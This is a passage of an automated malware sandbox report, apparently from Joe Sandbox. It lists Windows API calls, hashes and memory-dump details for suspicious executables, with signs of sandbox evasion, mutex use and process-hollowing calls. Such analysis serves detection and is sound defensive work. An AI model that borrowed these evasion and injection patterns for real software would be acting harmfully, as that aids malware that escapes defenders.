				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: f1461162bd3f2f3f57e3543434d12ce3e12192867cf6cdfa919c21d2cf2ad32e
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: f1461162bd3f2f3f57e3543434d12ce3e12192867cf6cdfa919c21d2cf2ad32e
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0047A640, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047BA50: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,00000004,?,00471491,?,0000001A,?,00000104), ref: 0047BA74

lstrcat.KERNEL32(?,00000000), ref: 0047A684
lstrcat.KERNEL32(?,?), ref: 0047A6A9
lstrcat.KERNEL32(?, }g), ref: 0047A6BD

Part of subcall function 0047BDC0: GetFileAttributesA.KERNEL32(?,?,?,0047A6CF,?), ref: 0047BDCA

Part of subcall function 004778E0: StrStrA.SHLWAPI(00000000,0041A088), ref: 00477933

Strings

}g, xrefs: 0047A6AF, 0047A6B5

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: }g
API String ID: 4178457443-2387307698
Opcode ID: 7e5a71e2141bb9a776ee3104154646530480955f0848b5e974398f0d962f3400
Instruction ID: c740df5f41482ab66658f11989cd6ba8c9e6d8849c735ea476c44a624c831b6e
Opcode Fuzzy Hash: 7e5a71e2141bb9a776ee3104154646530480955f0848b5e974398f0d962f3400
Instruction Fuzzy Hash: F4314EB690010CABCB14DFE0DC85EDE73BCAF58304F04859AB61993141EA74AB98CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0047A760, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047BA50: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,00000004,?,00471491,?,0000001A,?,00000104), ref: 0047BA74

lstrcat.KERNEL32(?,00000000), ref: 0047A7A4
lstrcat.KERNEL32(?,?), ref: 0047A7C9
lstrcat.KERNEL32(?, }g), ref: 0047A7DD

Part of subcall function 0047BDC0: GetFileAttributesA.KERNEL32(?,?,?,0047A6CF,?), ref: 0047BDCA

Part of subcall function 004778E0: StrStrA.SHLWAPI(00000000,0041A088), ref: 00477933

Strings

}g, xrefs: 0047A7CF, 0047A7D5

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: }g
API String ID: 4178457443-2387307698
Opcode ID: e2c3142200fd0918eeb320f9beeb1fcdd8bb173fe84d7db8c4248a12721d8e87
Instruction ID: 1d2de6da39dfcf3ac73c45c26b0d4fb2580e1142191e7ed03f834d88dd40e7e4
Opcode Fuzzy Hash: e2c3142200fd0918eeb320f9beeb1fcdd8bb173fe84d7db8c4248a12721d8e87
Instruction Fuzzy Hash: CE3161B6D0010CABCB14DFE0DC85EDE73BCAF58304F00859AB61993141EB74AB98CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0047A870, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 63stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047BA50: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,00000004,?,00471491,?,0000001A,?,00000104), ref: 0047BA74

lstrcat.KERNEL32(?,0041ABAC), ref: 0047A8B7
lstrcat.KERNEL32(?,?), ref: 0047A8CB
lstrcat.KERNEL32(?,({g), ref: 0047A8DF

Part of subcall function 0047BDC0: GetFileAttributesA.KERNEL32(?,?,?,0047A6CF,?), ref: 0047BDCA

Part of subcall function 00475670: lstrcat.KERNEL32(?,0041A368), ref: 004756EC
Part of subcall function 00475670: lstrcat.KERNEL32(?,Og), ref: 00475700
Part of subcall function 00475670: lstrcat.KERNEL32(?,8`g), ref: 00475714
Part of subcall function 00475670: lstrcat.KERNEL32(?,0041A368), ref: 00475727
Part of subcall function 00475670: lstrcat.KERNEL32(?,Og), ref: 0047573B
Part of subcall function 00475670: lstrcat.KERNEL32(?,0041A3B4), ref: 0047574F
Part of subcall function 00475670: lstrcat.KERNEL32(?,0041A368), ref: 00475762
Part of subcall function 00475670: lstrcat.KERNEL32(?,Og), ref: 00475776
Part of subcall function 00475670: lstrcat.KERNEL32(?,0041A090), ref: 0047578A
Part of subcall function 00475670: lstrcat.KERNEL32(?,0041A368), ref: 0047579D
Part of subcall function 00475670: lstrcat.KERNEL32(?,Og), ref: 004757B1
Part of subcall function 00475670: lstrcat.KERNEL32(?, `g), ref: 004757C5
Part of subcall function 00475670: lstrcat.KERNEL32(?,0041A368), ref: 004757D8
Part of subcall function 00475670: lstrcat.KERNEL32(?,Og), ref: 004757EC

Part of subcall function 00477B50: GetEnvironmentVariableA.KERNEL32(0041A034,0041B488,0000FFFF), ref: 00477B7E
Part of subcall function 00477B50: lstrcat.KERNEL32(?,0041B488), ref: 00477BAD
Part of subcall function 00477B50: lstrcat.KERNEL32(?,004191E8), ref: 00477BBF
Part of subcall function 00477B50: lstrcat.KERNEL32(?,00000000), ref: 00477BD0
Part of subcall function 00477B50: SetEnvironmentVariableA.KERNEL32(0041A034,?), ref: 00477BE4
Part of subcall function 00477B50: LoadLibraryA.KERNEL32(0041A6CC), ref: 00477C02
Part of subcall function 00477B50: GetProcAddress.KERNEL32(0041A824,0041A2B0), ref: 00477C27
Part of subcall function 00477B50: GetProcAddress.KERNEL32(0041A824,0041A628), ref: 00477C40
Part of subcall function 00477B50: GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00477C58
Part of subcall function 00477B50: GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00477C70
Part of subcall function 00477B50: GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00477C89
Part of subcall function 00477B50: GetProcAddress.KERNEL32(0041A824,8}g), ref: 00477CA1

Strings

({g, xrefs: 0047A8D1, 0047A8D7

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$AddressProc$EnvironmentVariable$AttributesFileFolderLibraryLoadPath
String ID: ({g
API String ID: 1979142406-3590494860
Opcode ID: 3508ae6989b44a9ebb6a97024c28c4b612f8b71900549a50e8e585498c8bbb11
Instruction ID: 06c346daefcfa4ac2c36caa655b63d8bf80e5be3b6da5144642517d54c24c7c1
Opcode Fuzzy Hash: 3508ae6989b44a9ebb6a97024c28c4b612f8b71900549a50e8e585498c8bbb11
Instruction Fuzzy Hash: 0E2154F650010CABCB10EFA1DC85FDA33B8AB58304F04855EB61956151EAB8AAA4CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00476DB0, Relevance: 6.0, APIs: 4, Instructions: 49threadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0047C582
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,pe), ref: 0047C59A
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0047C5B2
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0047C5CB
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0047C5E3
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0047C5FB
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0047C614
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,(f), ref: 0047C62C
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0047C644
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0047C65D
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0047C673
Part of subcall function 0047C530: LoadLibraryA.KERNEL32(0041A0F8,?,00476DC2), ref: 0047C685
Part of subcall function 0047C530: LoadLibraryA.KERNEL32(0041A658,?,00476DC2), ref: 0047C697
Part of subcall function 0047C530: GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0047C6B8

Part of subcall function 004712A0: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000), ref: 004712BA
Part of subcall function 004712A0: VirtualAllocExNuma.KERNEL32(00000000), ref: 004712C1
Part of subcall function 004712A0: ExitProcess.KERNEL32 ref: 004712D2

Part of subcall function 00476CF0: GetTickCount.KERNEL32 ref: 00476CF6
Part of subcall function 00476CF0: Sleep.KERNEL32(00002710), ref: 00476D04
Part of subcall function 00476CF0: GetTickCount.KERNEL32 ref: 00476D0A

Sleep.KERNEL32(000003E7), ref: 00476E45

Part of subcall function 00476C60: GetUserDefaultLangID.KERNEL32 ref: 00476C6D

Part of subcall function 00476D80: CreateMutexA.KERNEL32(00000000,00000000,`Mg), ref: 00476D8D
Part of subcall function 00476D80: GetLastError.KERNEL32 ref: 00476D93

Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,0041A0B4), ref: 0047C70D
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,Hyg), ref: 0047C725
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64, Og), ref: 0047C73E
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,`vg), ref: 0047C756
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,0041A5D8), ref: 0047C76E
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64, wg), ref: 0047C787
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,Pwg), ref: 0047C79F
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,hwg), ref: 0047C7B7
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2B4), ref: 0047C7D0
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7BC), ref: 0047C7E8
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,wg), ref: 0047C800
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,0yg), ref: 0047C819
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,Xxg), ref: 0047C831
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1C0), ref: 0047C849
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1F8), ref: 0047C862
Part of subcall function 0047C6F0: GetProcAddress.KERNEL32(0041AA64,`Pg), ref: 0047C87A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00476E0C

Part of subcall function 00476B40: GetSystemTime.KERNEL32(?,?,00000104), ref: 00476BC1
Part of subcall function 00476B40: lstrcat.KERNEL32(?,Pg), ref: 00476BD5
Part of subcall function 00476B40: sscanf.NTDLL ref: 00476C13
Part of subcall function 00476B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00476C27
Part of subcall function 00476B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00476C38
Part of subcall function 00476B40: ExitProcess.KERNEL32 ref: 00476C52

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00476E26
ExitProcess.KERNEL32 ref: 00476E54

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 43e9df6340f48bd13828ca5898344739e3b05f5af2b7af6e5f555f9c360d80ac
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: A001FF38785B41A6F26137B2DE47BD925464F00F89F16C02BBA0DB81D2EE9DA440857F

Uniqueness

Uniqueness Score: -1.00%

Function 0047AF90, Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047AFA0
RtlAllocateHeap.NTDLL(00000000), ref: 0047AFA7
GetTimeZoneInformation.KERNEL32(?), ref: 0047AFBA
wsprintfA.USER32 ref: 0047AFF4

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 8919cefa07f5170f9ad3531c7f7077088e8f5577153a48ace2fad6125c600dd6
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: 49F096709453189BDB209BA4DD49BEA7379EB04301F0045E5E60D93291D7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 0043132C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00431525
__aulldiv.LIBCMT ref: 00431547

Strings

9, xrefs: 00431558

Memory Dump Source

Source File: 00000015.00000002.837440802.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_42e000_DDEE.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 1a14f59d3a92eb3e3b65fe109be84dea4253dce4a1d27345a8cef27f2990257c
Instruction ID: 6c27b6bfd0c03fa990d01d2045dcaa59fd46c78c0b39c2430fefb3216dfe6fbc
Opcode Fuzzy Hash: 1a14f59d3a92eb3e3b65fe109be84dea4253dce4a1d27345a8cef27f2990257c
Instruction Fuzzy Hash: D241D271D05229DFEF24CF59CC99BAEB7B5BB98304F20959AD049A7250C7389E80CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004312DB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00431525
__aulldiv.LIBCMT ref: 00431547

Strings

9, xrefs: 00431558

Memory Dump Source

Source File: 00000015.00000002.837440802.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_42e000_DDEE.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 7684e0bc5aabfcc7583b16c56dc3b489891ecfd518aba930d04c76789411f6ba
Instruction ID: 5cc1d4fc0b12e2cdf5844e31c13a90ff31995f8d38501a8b201bb127b3865a05
Opcode Fuzzy Hash: 7684e0bc5aabfcc7583b16c56dc3b489891ecfd518aba930d04c76789411f6ba
Instruction Fuzzy Hash: 6F41C271D05229DFEB24CF58CC89BAEB7B5BB58304F2091DAD409A7250C7389E80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00482620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00482D62), ref: 00482694
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00482D62), ref: 004826A2

Part of subcall function 004818C0: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,b-H,?,?,?,?,?,?,00482D62), ref: 004818CE

Part of subcall function 00481880: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004818AC

Strings

b-H, xrefs: 004826A8, 004826FD, 004826AB

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: b-H
API String ID: 568878067-3963573521
Opcode ID: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction ID: 25f335df8c0d0db6e4332674ae366020d2d51d0192ed9e2476bc0c58e3618510
Opcode Fuzzy Hash: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction Fuzzy Hash: 0B31A2B99002089FDB08DF98C594BDEBBF5BB4C304F204599D805AB352D736AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00476D80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,`Mg), ref: 00476D8D
GetLastError.KERNEL32 ref: 00476D93

Strings

`Mg, xrefs: 00476D83, 00476D88

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: `Mg
API String ID: 1925916568-563599233
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 34f3f312b69f5c2647f52b6927f592d95a2f876a4545936f0682dfc2c21e0f37
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: B8D0C97037A605ABE6601794ED49BA6379A97C4701F218832F10DC9192C659AC90462A

Uniqueness

Uniqueness Score: -1.00%

Function 0047B8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,b6H,?,0047B7ED,b6H,00000009,?,00483662,00000009), ref: 0047B8F9
RtlAllocateHeap.NTDLL(00000000,?,0047B7ED), ref: 0047B900

Strings

b6H, xrefs: 0047B8F3, 0047B8F6

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: b6H
API String ID: 1357844191-3522233375
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 11C5.exe PID: 740 Parent PID: 3424 11C5.exeCOMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00743BEE, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00743C36

Memory Dump Source

Source File: 00000017.00000002.843208033.0000000000741000.00000040.00000001.sdmp, Offset: 00741000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_741000_11C5.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: c72b1a48f7a96505476641a83b0f39581dc9b2b081f9f6e16817f39e1378eae6
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 04F06235600710ABD7203BF599CDF6AB6E8AF49725F100528E65AE10C0DB74ED458A71

Uniqueness

Uniqueness Score: -1.00%

Function 007438AD, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 007438FE

Memory Dump Source

Source File: 00000017.00000002.843208033.0000000000741000.00000040.00000001.sdmp, Offset: 00741000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_741000_11C5.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 04ed48d82c7259357c306e4a5b30ec4e5c7dc39bea1905893dd7ef6309f073d0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 1B113C79A00208EFDB01DF98C989E98BBF5EF08351F058094F9489B362D375EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 2203.exe PID: 3492 Parent PID: 3424 2203.exeCOMMON

Executed Functions

Function 04ED53F8, Relevance: 2.5, Strings: 1, Instructions: 1235COMMON

Download Yara Rule

Strings

{&, xrefs: 04ED6373

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID: {&
API String ID: 0-4210536796
Opcode ID: 2a5cbf4081f907d148c7c583241488ad6fb4bfbefb7dcea420796ab89fa69d8d
Instruction ID: 08b7e130318edf879470061b86e1cd74b61b4a5b19327bd0c0935907eadb3efa
Opcode Fuzzy Hash: 2a5cbf4081f907d148c7c583241488ad6fb4bfbefb7dcea420796ab89fa69d8d
Instruction Fuzzy Hash: 7AB23774B00214CFDB24DF29C994A69B7F2EF89314F1595A9E90ADB361DB30EC82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04F708B8, Relevance: 1.6, APIs: 1, Instructions: 64memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 04F70943

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 7044414a71549b41c7d163017e7a4ba98791ac35b6e783915825cec42287edb4
Instruction ID: 8324d379b0b38fb97fd85dd87d944446f2291a0018a6ef69544f3b2eb5981b65
Opcode Fuzzy Hash: 7044414a71549b41c7d163017e7a4ba98791ac35b6e783915825cec42287edb4
Instruction Fuzzy Hash: 272128B1D042099FDF00CFAAC884ADEFBF5FF48314F10842AE919A7200CB749955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F708C0, Relevance: 1.6, APIs: 1, Instructions: 61memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 04F70943

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 3fad85d80618fc4a91cbf8061568574d1ea9422b37a3a824f94edfb2b894ef2d
Instruction ID: 4e85de4f3efb1fce2ff96988e609125f6df07d2ec033a41b6e4dc462e4b667b0
Opcode Fuzzy Hash: 3fad85d80618fc4a91cbf8061568574d1ea9422b37a3a824f94edfb2b894ef2d
Instruction Fuzzy Hash: 2F2109B1D042099FDF10DFAAC884ADEFBF5FF48314F50841AE919A7210C774A955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F707D9, Relevance: 1.6, APIs: 1, Instructions: 52nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(?,?), ref: 04F70845

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: e9c6f91f9015b8d2615c59490fafc429eb7ad5df5f504f726e3abb9d14ca669d
Instruction ID: e8c3ce3cd2218d0296b7f2a8b7f77f22cbb85d7bd9fd3b3e75ffd558028dbc17
Opcode Fuzzy Hash: e9c6f91f9015b8d2615c59490fafc429eb7ad5df5f504f726e3abb9d14ca669d
Instruction Fuzzy Hash: AD114671D042088FDB10DFAAC8447EFFBF4AF88324F14882AD519A7600CB78A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F707E0, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(?,?), ref: 04F70845

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: f32ca6a30b3af790c81131a0c7d3177f81337710978317b7a2b0bd7c0f4a67cd
Instruction ID: 30675a82aef1284ac26764f00e85535f40aab409c68b221d9f6638aacc4271b9
Opcode Fuzzy Hash: f32ca6a30b3af790c81131a0c7d3177f81337710978317b7a2b0bd7c0f4a67cd
Instruction Fuzzy Hash: 82112871D042499FDB10DFAAC8447DFFBF5AF88324F14882ED515A7640CB78A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04ED1810, Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ec3cee2afd42af52a2109d5a1dafb0f1d752cdc00ff6840bc661cf638fe582
Instruction ID: aa79f889c15262b1bdac44f2863407d2263bce2b122c5526941fd242ecb2f52a
Opcode Fuzzy Hash: d9ec3cee2afd42af52a2109d5a1dafb0f1d752cdc00ff6840bc661cf638fe582
Instruction Fuzzy Hash: 15F17C30B042049FDB08EFA5C454AAEB7F2FF88304F158569E516AB399DB35EC86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04ED7F28, Relevance: 3.3, Instructions: 3312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efca7b8ba7d3087e3c528aef5fedbdab9abec9d92879ec857ef4e395d966649f
Instruction ID: aec080bb0ecc6a2e22700607faa7a3f66e4156063b08818c9cdc83a4990a102a
Opcode Fuzzy Hash: efca7b8ba7d3087e3c528aef5fedbdab9abec9d92879ec857ef4e395d966649f
